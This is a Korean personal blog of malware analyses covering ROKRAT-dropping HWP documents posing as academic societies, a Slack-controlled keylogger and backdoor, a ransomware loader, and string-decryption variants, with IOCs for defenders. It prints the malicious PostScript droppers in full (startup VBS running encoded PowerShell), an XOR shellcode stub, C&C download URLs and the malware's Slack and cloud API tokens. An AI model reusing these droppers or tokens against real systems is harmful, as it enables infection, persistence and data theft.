2020-04-07

2020. 4. 7. 11:36

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

2020-03-20

2020. 3. 20. 14:15

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

2020-03-16

2020. 3. 16. 15:49

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

최근 유사한 샘플이 토탈을 통해서 지속적으로 수집되었다. 이스트소프트에서 Operation Blue Estimate으로 명명하여 IOC를 공개하였다. (링크)

 

 

hash (md5)

스트링 복호화 루틴 특징

1

35d60d2723c649c97b414b3cb701df1c

X

2

da799d16aed24cf4f8ec62d5048afd1a

암호화된 데이터에 키값이 포함되어 있으며 xor

3

20add5eb5fbe527a8b6090a08e7636a6

X

4

cf87475a87cb2172e73ee6afa7eb6384

디코딩된 데이터 +0x03

5

47c95f19ebd745d588bb208ff89c90ba

암호화된 데이터에 키값이 포함되어 있으며 xor

 

샘플을 분석하는 과정에서 스트링 복호화 루틴이 조금씩 변경되는점을 확인하여 추가로 분석을 진행하였다. 다른분께서 1번2번은 이미 글을 올려주셨기에 줍줍했으며 3번은 1번과 크게 다른점이 없어 자세하게 분석을 진행하지 않았고 4번과 5번의 문자열 복호화 로직에 대해서만 히스토리를 남기기위해 언급 해볼까한다. (링크1) (링크2)

 

 

4번 샘플은 암호화된 데이터에 사칙연산을 통해서 복호화를 진행한다. 16byte크기만큼은 키테이블을 이용하며 나머지 데이터에 대해서는 고정값(0x03)을 더하여 연산을 수행한다. 하지만 키테이블에 있는 값도 전부 0x03이므로 길이를 나누어 연산하는 의미가 없어진다.

 

문자열 복호화 루틴
키 테이블

 

5번 샘플은 인젝션 후 동작하는 과정에서 DllMain이 로드되기전에 일부 문자열을 먼저 복호화 후 동작하게 된다. 복호화를 진행하는 루틴은 3번 샘플과 거의 유사한 형태로 복호화를 진행되며 인자로 넘어간 hex ascii를 바이너리로 변경 후 앞에서 16byte 크기만큼을 키테이블로 사용하고 그 뒤의 값을 복호화시킬 데이터로 사용하여 1byte씩 xor 연산을 진행한다. 이후 정상 프로세스에 인젝션되어 문자열들을 다시 복호화시키지만 전체적인 루틴은 크게 달라질것이 없다.

 

3번 샘플과 다른점이라면 데이터를 스택에 저장하기 위해 연산을 나눠서 하는것이 아닌 한번에 한다는점?

 - 연산 : encStr[i] ^ encStr[i+1] ^ keyTable

 

문자열 복호화 루틴
인젝션된 데이터에서의 문자열 복호화 루틴

 

꾸준히 등장하고 있지만 아직까지는 그나마 단순하게 동장하는듯하니 꾸준히 지켜보자. 이만

 

블로그 이미지

bbbbox

해당 블로그는 개인 저장공간으로 악의적으로 응용할 시 피해가 발생할 수 있으며, 그에 대해 책임은 사용자에게 있습니다. 주의해주시길 바랍니다.

,

2019년 11월 18일 바이러스토탈에서 악성으로 추정되는 샘플이 헌팅되었으며 헌팅된 문서는 “제9대 한국국가정보학회 회장 선거 및 선거관리위원회 구성 공고” 라는 내용을 포함하고 있다. 싸이버워(이하 싸워)에서 올린 사진(링크)에 따르면 한국국가정보학회 홈페이지에서 유포를 하였거나 또는 정상적인 문서를 악용하여 유포한 것으로 추정된다. 공격자들은 4월 한국정치학회 위장, 7월 한국국제정치학회 위장에 이어 또다시 다른 학회를 위장하는 것으로 보인다. 

 

구분 유포 날짜 파일명 또는 내용 (악용된 학회명)
파일 #1 2019-10 추정 new_제9대 학회장 선거공고 및 입후보 신청서 관련
(한국국가정보학회)
파일 #2 2019-07 추정 한국국제정치학회 회원카드 관련 (한국국제정치학회)
파일 #3 2019-04-12 춘계학술회의 프로그램 관련 (한국정치학회)

[표 1] 특정 학회를 위장한 공격 사례

 

특정 학회를 위장하여 시도된 공격은 [표 1]과 같으며 새로 확인된 공격(파일#1)이 기존에 유포된 공격과 일부 유사한 점을 확인하여 분석을 진행하고자 한다.

 

 

유포된 한글 문서는 2019-10-28 11:26:39 (UTC)에 마지막으로 저장되었으며 싸워에서 올려둔 사진에서 학회 홈페이지에 게시글이 업로드된 시간은 2019-10-28 15:42이다. 공격자가 실제로 홈페이지에 업로드된 문서를 악용한 경우라면 KCT 기준 홈페이지에 업로드 후 대략 4시간 만에 제작된 것으로 추정된다. (현시각 홈페이지는 잠정적으로 폐쇄한다는 문구가 적혀있고 접속이 불가능함)

 

new_제9대 학회장 선거공고 및 입후보신청서 HwpSummaryInformation

 

Stage 1. 포스트스크립트

내부에 포함되어 있는 포스트스크립트는 실행될 경우 2개의 파일을 시작프로그램과 다른 폴더에생성한다. 생성된 파일은 각각 BASE64로 인코딩된 데이터 파일과 인코딩된 데이터 파일을 실행시켜줄 VB스크립트로 이루어져 있다. 동작은 시작프로그램에 생성되어 부팅 시 자동으로 실행되는 VB스크립트에서 파워쉘 EncodedCommand 옵션을 사용하여 데이터를 디코딩 후 실행시키도록 구성되어 있다.

 

포스트스트립트 일부

(%appdata%)\Microsoft\Windows\Start Menu\Programs\Startup\Zeorder88.0.2.vbs
(%appdata%)\Microsoft\AutoCad.mji.ver01

[표 2] 생성되는 파일 경로

 

디코딩된 스크립트는 kernel32.dll Import -> Binary Download -> VirtualAlloc() -> CreateThread 순으로 메모리에 로드되어 동작한다. 

 

디코딩된 스크립트

 

Stage 2. Injected Shellcode (feat. ROKRAT)
로드된 쉘코드는 특정 위치의 데이터를 읽어와 디코딩 과정에 사용할 크기와 키값으로 사용하며 메모리를 추가로 할당하여 4바이트씩 디코딩 과정을 수행한다.

 - size : 0x0007B200

 - key : 0x11A811A7

 

인코딩된 데이터
디코딩 과정

 

디코딩 후 파일 형태로 로드되어 동작하며 파일은 ROKRAT라고 불리는 악성코드이다. 위에서 언급한 3개의 파일 모두 최종 페이로드로 같은 유형의 악성코드를 메모리에서 동작시키며 주요 특징은 사용자 정보를 수집 후 C&C서버를 클라우드 스토리지의 오픈API를 사용하여 파일을 주고받는다. (이미 분석된 내용이 많으므로 자세한 내용은 클릭)
 - token : 6HVrZkS73Uk8M6T7ZJYj7N7ZV8hsboKJRz5855MzoG4iBJaRikA

 

 

※ 포스트 스크립트 특징/패턴
전에 올린 게시물(클릭)에서처럼 시작프로그램에 스크립트 형태의 파일을 생성하여 사용하며 포스트스크립트에서 단순한 이름으로 선언하여 데이터 스트림을 지속적으로 사용하는 방식을 사용한다. 다시 말하지만 해당 특징들은 일반적으로 많이 쓸 수 있고 쉽게 쓰는 패턴이므로 참고만 바란다.

 

/envstr
/appenv
/file0 ~ /file10
/path0 ~ /path10 

[표 3] 자주 선언된 변수명

 

또한 7월경에 유포된 한국국제정치학회 위장(파일#2)와 매우 유사한 포스트 스크립트 패턴을 볼 수 있으며 인코딩된 BASE64 데이터와 시작프로그램에 생성되는 VB스크립트의 파일명을 제외하고 [표 4]와 같이 매우 유사한 패턴을 확인할 수 있다. 

 

%!PS-Adobe-3.0 EPSF-3.0 

/Jackon{ exch dup 7 pop length 7 pop 4 pop 3 2 pop pop 2 index 4 pop length add string  dup dup 4 8 pop 5 pop 2 roll 3 pop 7 pop copy 2 pop 3 pop length 2 pop 3 pop 4 -1 roll putinterval}bind def (appd) (ata) Jackon /appenv exch def appenv getenv pop /envstr exch def envstr(\\Microso)Jackon/patho exch def patho(ft\\Windows\\Start M)Jackon/path7 exch def path7(enu\\Programs\\S)Jackon/path8 exch def path8(tartUp\\Zeorder88.0.2.vbs)Jackon/path4 exch def envstr(\\Microsoft\\AutoCad.mji.ver01)Jackon/path2 exch def path4 (w) file /file0 exch def file0 (Dim ww,p,fp:fp=")writestring file0 path2 writestring file0 (":Set dd=WScript.CreateObject\("WScript.Shell"\):Set rr=CreateObject\("Scripting.FileSystemObject"\):If rr.FileExists\(fp\) Then:Set readfile=rr.OpenTextFile\(fp, 1, false,-2\):cs=readfile.ReadAll:readfile.close:ww=dd.ExpandEnvironmentStrings\("%windir%"\):p=ww+"\\SysWow64\\WindowsPowerShell\\v1.0\\powershell.exe":If Not rr.FileExists\(p\) Then:p=ww+"\\System32\\WindowsPowerShell\\v1.0\\powershell.exe":End If:p=p+" -Enc " & """" & cs & """":dd.Run p,0,true:End if)writestring file0 closefile path2(w)file/file1 exch def file1(base64 encoding data)writestring file1 closefile
%!PS-Adobe-3.0 EPSF-3.0 

/Jackon{ exch dup 7 pop length 7 pop 4 pop 3 2 pop pop 2 index 4 pop length add string  dup dup 4 8 pop 5 pop 2 roll 3 pop 7 pop copy 2 pop 3 pop length 2 pop 3 pop 4 -1 roll putinterval}bind def (appd) (ata) Jackon /appenv exch def appenv getenv pop /envstr exch def envstr(\\Microso)Jackon/patho exch def patho(ft\\Windows\\Start M)Jackon/path7 exch def path7(enu\\Programs\\S)Jackon/path8 exch def path8(tartUp\\CleanCache_v40.0.2.vbs)Jackon/path4 exch def envstr(\\Microsoft\\Iconcache.fia.ver01)Jackon/path2 exch def path4 (w) file /file0 exch def file0 (Dim ww,p,fp:fp=")writestring file0 path2 writestring file0 (":Set dd=WScript.CreateObject\("WScript.Shell"\):Set rr=CreateObject\("Scripting.FileSystemObject"\):If rr.FileExists\(fp\) Then:Set readfile=rr.OpenTextFile\(fp, 1, false,-2\):cs=readfile.ReadAll:readfile.close:ww=dd.ExpandEnvironmentStrings\("%windir%"\):p=ww+"\\SysWow64\\WindowsPowerShell\\v1.0\\powershell.exe":If Not rr.FileExists\(p\) Then:p=ww+"\\System32\\WindowsPowerShell\\v1.0\\powershell.exe":End If:p=p+" -Enc " & """" & cs & """":dd.Run p,0,true:End if)writestring file0 closefile path2(w)file/file1 exch def file1(base64 encoding data)writestring file1 closefile

포스트스크립트 비교 (파일#1 / 파일#2)

 

 

IOC
new_제9대 학회장 선거공고 및 입후보신청서.hwp (E232EE98E0777FE589F600AA6E62D967)
제목모름.hwp (452BE70FEB404EB5C7A61C579FC149EE)
[한국정치학회] 춘계학술회의 프로그램.hwp (DE4B2A970BFAB5209C9AA5C1A541FF76)

 

블로그 이미지

bbbbox

해당 블로그는 개인 저장공간으로 악의적으로 응용할 시 피해가 발생할 수 있으며, 그에 대해 책임은 사용자에게 있습니다. 주의해주시길 바랍니다.

,

2019년11월4일 바이러스토탈에서 악성으로 추정되는 2개의 샘플이 헌팅되었으며 각각의 파일은 다른 파일명과 내용을 가지고 있고 바이러스 토탈의 서브미션 정보도 달랐지만 내부에 포함된 포스트스크립트는 동일한 파일로 확인되어 분석을 진행하였다.

 

 

두 개의 파일은 제목과 같이 [파일 1]은 신규코인을 상장하기 위한 신청서와 [파일 2]의 특정 인물로 위장한 이력서 사칭 문서로 이루어져 있다. 각각의 파일은 다른 대상을 목표로 공격을 시도했을 가능성으로 추정해본다.

 

파일1. [WhitePaper+소개]신규코인_상장_신청서2.hwp
파일2. 정찬혁_이력서2.hwp

 

Stage 1. 포스트스크립트
내부에 포함되어 있는 포스트스크립트는 실행될 경우 시작프로그램에 파일(%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\update.exe)을 생성하고 동작시키는데 스크립트는 코드영역과 그 코드영역에 포함되어 있는 데이터를 읽어와 하나의 파일로 만들어주는 영역으로 이루어져 있다.

 

포스트포스트스크립트 (createfile, readhexstring)
데이터 (/buf0 ~ /buf67)
포스트스크립트 (writestring)

 

※ 포스트 스크립트 특징/패턴
포스트 스크립트를 분석해보면 여러 회사에서 명명한 공격 그룹에서 사용하고 있는 공격 패턴과 유사한 점을 볼 수 있는데 우선 시작프로그램에 스크립트 형태의 파일이나 실행파일 형태로 생성 후 각 변수에 포함되어 있는 데이터를 16진수로 읽어와 쓰는 방법을 주로 사용한다. 여기서 자주 사용하는 변수명은 단순한 이름으로 선언하여 데이터 스트림을 지속적으로 사용하는 특징이 있다.

 

[자주 선언되는 변수명]
/envstr
/appenv
/popmenuw
/file0 ~ /file10
/path0 ~ /path10
/buf0 ~ /buf10

 

해당 특징들은 일반적으로 많이 쓸 수 있고 쉽게 쓰는 패턴으로 볼 수 있지만 현재까지 공개된 많은 유형의 포스트스크립트가 이와같은 특징/패턴을 가지고 있기에 참고할 수 있는 부분이라고 개인적으로 생각한다.

 

 

Stage 2. 시작프로그램의 실행파일(update.exe, memoryloader)
시작프로그램에 의해 실행된 파일은 공개된 슬랙(Slack) API를 사용하여 추가파일을 받아와 메모리에서 동작시키는 로더로써 역할을 수행한다. 우선 정상적으로 동작할경우 뮤텍스를 생성하고 추가 파일을 다운로드하기 위해 HTTP 헤더 정보를 복호화하여 가져온다.
 - decrypt xor key : 0x3FC83DF86413F23DBCBC653E9864FFA1

 

HTTP 헤더 정보 복호화 루틴

 

GET /TPCBPBQD8-FPQRX8SBD-0c03d3b809 HTTP/1.0 
Host: slack-files.com 
User-Agent: Google 
Connection: close

 

다운로드 바이너리

 

분석 당시 추가로 파일을 다운로드하지 못하여 추가 바이너리 파일을 어떤 착한분에게 협찬받아 진행하였기에 핵심부분만 빠르게 분석을 진행하였다. 다운로드한 바이너리 파일은 xor 연산을 통해 복호화를 수행하며 아까 사용한 키값과 동일하게 사용한다. 이후 현재 실행 중인 자신의 PID를 가져와 reflectiveLoader()를 사용하여 파일 형태로 로드시켜 동작시킨다. 

 

인젝션 루틴

 

 

Stage 3. Reflective DLL Injection
로드된 DLL은 쓰레드를 생성해서 행위를 수행하며 현재 실행중인 프로세스에서 고스트스크립트관련 프로세스인 “gswin32.exe”, “gswin32c.exe”, “gbb.exe”가 실행되고 있을 경우 프로세스를 종료시킨다. 이후 다수의 스레드를 동시에 수행시키며 악성행위를 수행한다.

스레드 #1
현재 실행중인 프로세스의 실행경로를 가져와 30분 주기로 시작프로그램에 자가복제 파일을 생성한다.

스레드 #2
키로깅 기능을 수행하며 추가로 GetCurrentHwProfileA()를 사용하여 컴퓨터의 하드웨어 프로필 정보를 수집하고 사용자를 식별하는데 사용하는 것으로 추정된다.

스레드 #3
백도어 기능을 수행하는 메인 코드로 악성코드는 C&C 서버로 주로 협업 도구로 사용되는 슬랙(Slack)을 사용하여 명령코드를 주고받고 수집된 정보를 전송한다. 스레드가 정상적으로 동작하면 추가로 파일을 다운로드하며 그 데이터를 읽어와 명령코드로 사용하게 된다.

 

GET /TPCBPBQD8-FPQRSHDH9-5a159cc196 HTTP/1.0 
Host: slack-files.com 
User-Agent: Google 
Connection: close

 

 

명령코드1에서 1바이트 크기의 명령코드를 확인 후 명령코드2를 추가로 검증하여 각기 다른 행위를 수행한다. 수집된 데이터는 슬랙과 통신을 통해서 전달되며 키값은 다음과 같다.
 - key : Bearer xoxb-794397398450-806735096260-kr3JbEBAw2Z4a9sGu6FHCZEg

 

명령코드1 (1byte) 명령코드2 기능
C (0x43) MD_ALL 또는 MD 수집된 파일 업로드
RL_ALL 또는 RL 다른 주소 접근(SSL)
D (0x44) IR_ALL 또는 IR 파일 검색
K (0x4B) EYLOG 키로거 기능 조작
S (0x53) CREEN_ALL 또는 CREEN 화면캡처
그 외 FILE_ALL 파일 전송
ING 동작하고 있는 프로세스 정보 수집

 

 

IOC
[WhitePaper+소개]신규코인_상장_신청서2.hwp (95FE089B63C095BFB2B25E8C6914D19D)
정찬혁_이력서2.hwp (D6709D7DAD54E31D87A2C721F09714FB)

블로그 이미지

bbbbox

해당 블로그는 개인 저장공간으로 악의적으로 응용할 시 피해가 발생할 수 있으며, 그에 대해 책임은 사용자에게 있습니다. 주의해주시길 바랍니다.

,

yara_Nemty_memoryLoader

2019. 9. 20. 10:53

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

올만?에 다시 돌아왔다.


갠드크랩(GandCrab)부터 소디노키비(Sodinokibi) 안랩에서는 현재 블루크랩(BlueCrab) 이라고 부르며 유포하고 있는 것으로 추정되는 공격 주체가 최근 그 목적이 랜섬웨어 정보 탈취로 변경되어 유포중에 있는 것을 확인하였다. 갠드크랩 시절부터 불특정 다수를 대상으로 공격을 시도한 것으로 추정되며 주로 메일 내용 또는 첨부파일에 한글로 된 내용을 포함시켜 사용자의 열람을 유도하도록 한다. 

현재 유포되고 있는 파일들이 악성행위를 수행하기 위해 코드를 메모리에 로드하여 동작시키는 과정에 대해서만 분석을 해보았다. 사실 갠드크랩, 소디노키비 등 코드를 메모리에 로드하기까지의 과정이 현재 유포되고 있는 형태뿐만 아니라 파워쉘, 자바스크립트 등 다양하게 존재하였기에 참고만 바란다. 

 

 

분석 :
유포된 악성코드는 특정 주소에 위치해 있는 데이터를 읽어와 저장한다. 저장한 데이터는 쉘코드의 위치와 크기를 가져오기 위함이며 메모리 공간을 할당받아 파일 내부에 포함된 데이터를 이동하여 복호화 과정이 이루어진다. 이후 권한을 주고 할당된 메모리 공간에 있는 데이터를 실행시켜주며 로더로서 기능을 마무리한다. 

1. 쉘코드 주소와 사이즈 그리고 가비지 코드 & 정크 코드 
쉘코드의 위치와 크기를 계산하기 위해 특정 주소에서 데이터를 가져와 사용한다. 데이터를 가져오는 과정에서 사용하지 않는 코드가 다수 포함되어 있으며 분석 속도를 늦추기 위함 또는 메모리 공간에 있는 데이터를 숨기기 위한 목적으로 보인다. 

 

동작에 있어 필요한 코드

저장된 각각의 4byte 크기의 데이터에 0xAC585를 합산하여 사용하며 합산된 데이터는 쉘코드의 크기와 위치를 구하는 데 사용된다. 이후 LocalAlloc()을 통해 메모리 공간을 할당하여 1byte씩 데이터를 삽입한다. (여러 샘플을 확인해본 결과 이와 같은 방식으로 쉘코드의 위치와 크기를 가져오며 합산하는 데이터는 가변적으로 사용하는 듯하다.)

쉘코드 크기 및 위치를 구하기 위해 합산

2. 복호화 및 실행
해당 악성코드에서는 두 번에 걸쳐 복호화가 이루어진다. 첫 번째 복호화를 위해 LocalAlloc()으로 메모리 공간을 다시 할당하며 처음 할당받은 메모리 공간에서 4byte 크기의 데이터를 읽어온다. 그중 마지막 1byte를 복호화 연산에 사용할 데이터로 이용하여 남은 3byte 크기의 데이터에 대해 연산 과정이 이루어지고 첫번째 복호화가 끝이 난다. (3byte만 사용하기에 최초 복호화에 사용된 데이터 크기와 복호화 후의 데이터 크기가 다른 것을 확인할 수 있다.)

1차 복호화 전 데이터

두 번째 복호화 루틴에서는 처음 1차 복호화된 데이터에서 4byte씩 두 번에 걸쳐 읽어와 저장한다. 이후 고정된 20byte 크기의 데이터를 4byte씩 각각 저장하여 복호화 연산에 사용할 데이터로 사용한다. 두번에 걸친 복호화 과정에서도 위에서 언급했다시피 사용하지 않는 코드가 다수 포함되어 있어 분석이 조금 까다로울 수 있다. (사실 내가 잘 몰라서 어려운 듯 하다.)

IDA에서 해석되는 2차 복호화 루틴

이후 VirtualProtect()로 권한을 할당하고 할당된 메모리의 시작 위치에서 0x1B2E 위치의 데이터를 실행하며 로더로서 역활을 마무리하게 된다.

 

 

(피드백은 언제나 환영입니다)

블로그 이미지

bbbbox

해당 블로그는 개인 저장공간으로 악의적으로 응용할 시 피해가 발생할 수 있으며, 그에 대해 책임은 사용자에게 있습니다. 주의해주시길 바랍니다.

,

Direct3D Hooking

2019. 8. 13. 10:40

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

VT에서 "회장님 개명.hwp" 라는 제목의 한글 문서 샘플을 수집하였다. 6월부터 유사한 형태를 가진 한글 문서가 지속적으로 VT에서 헌팅되고 있으며 "투자계약서", "에어컨 유지보수 특수조건", "시스템 포팅 계약서(수정)", "(필수)외주직원 신상명세서" 등의 이름으로 유포되었다. (자세하게 알고싶다면 클릭)

 

VT first submission

2019-06-20

2019-07-02

2019-07-12

2019-07-15

2019-07-19

Filename

투자계약서.hwp

에어컨 유지보수 특수조건.hwp

시스템 포딩 계약서(수정).hwp

(필수)외주직원 신상명세서.hwp

회장님 개명.hwp

HWP Last save Time/Data

2019-06-18 14:56:17 (UTC)

2019-07-02 01:14:58 (UTC)

2019-07-11 22:52:16 (UTC)

2019-07-11 22:50:52 (UTC)

2019-07-11 22:49:53 (UTC)

 

※ 이 샘플을 보는 도중 VT에서 3개의 샘플이 추가적으로 헌팅되었으며 각각 "중고폰매각 공고문_19년 7차", "Last 1~5", "챠트 4-5" 라는 파일명을 가지고 있으며 유사한 형태로 동작하는 것을 확인하였다. 아마 추가적으로 계속 들어올 것으로 추정되며 그만좀 들어왔으면 좋겠다.

 

 

분석 :

7월 11일에 마지막으로 저장되어 공격에 사용된 것으로 추정되며 한글 문서는 제곧내.... 이름의 뜻에 대한 내용을 포함하고 있다.

 

한글 문서 내용 일부

문서 내부에 포함된 포스트스크립트는 16바이트 키값을 사용하여 XOR 연산을 걸쳐 쉘코드를 생성하여 메모리에 로드되어 실행된다. 여러 과정을 걸쳐 취약점이 터지고 쉘코드가 동작하겠지만 Image File Execution Options에 gswin32c.exe를 등록후에 attach하여 ROP 체인이 끝나는 쉘코드 위치로 바로 이동하여 분석을 진행하였다.

 

/Y101 <4E594530.........6D062D> def 0 1 Y101 length 1 sub {/Y18 exch 1 2 and pop def Y101 dup Y18 get <610074107FDE7195C1E91A75CC016327> Y18 15 and /Y104 8 def get xor Y18 exch put} for Y101 cvx exec

 

메모리에 로드된 쉘코드는 EIP를 가져오기 위해 PISHAD 이후 ENTER와 FSTENT 등을 이용하여 EIP를 가져와 사용하는데 쉘코드에서 많이 사용하는 방법 중 하나이다(참고1 참고2). 이후 특정 값(0xF42DD8F3)을 처음 키 값으로 사용하여 4바이트씩 이동하며 XOR 연산 과정을 걸쳐 페이로드 및 최종 쉘코드를 복호화하며 콜 함수로 호출하여 추가적인 행위를 수행한다.

 

복호화 루틴 / 복호화된 페이로드 주소

호출된 쉘코드는 다음과 같이 동작한다.

 

step 1. 쉘코드가 동작하고 있는 프로세스의 파일명을 가져와 explorer.exe와 비교한다.

프로세스 비교

step 2. 최초 감염된 피시의 경우 explorer.exe가 아니기에 감염된 사용자 피시에서 동작중인 프로세스(explorer.exe)를 찾아 64bit 프로그램인지 확인하고 쉘코드를 인젝션하여 다시 동작시킨다.

인젝션 루틴

step 3. step 1과정을 다시 걸쳐 정상적으로 인젝션되어 동작되었을 경우 복호화된 페이로드 주소를 가져와 파일을 추가로 받아와 동작한다.

 

다운로드 C&C 주소 

Hash (MD5)

https://www[.]fabiocanducci.com/img2.dat (32bit)

 D9FF83A765C4040EDA05E5B6468A35B2

https://www[.]fabiocanducci.com/img4.dat (64bit)

7F035BE4590A624A9DC816176AF942DA

 

받아온 파일은 3개의 C&C 서버와 통신을 하며 받아온 명령코드에 따라 정보수집 등의 악성행위를 수행할 수 있는 것으로 확인했다. 자세하게 분석은 진행하지 않았으니 참고바란다.

 

블로그 이미지

bbbbox

해당 블로그는 개인 저장공간으로 악의적으로 응용할 시 피해가 발생할 수 있으며, 그에 대해 책임은 사용자에게 있습니다. 주의해주시길 바랍니다.

,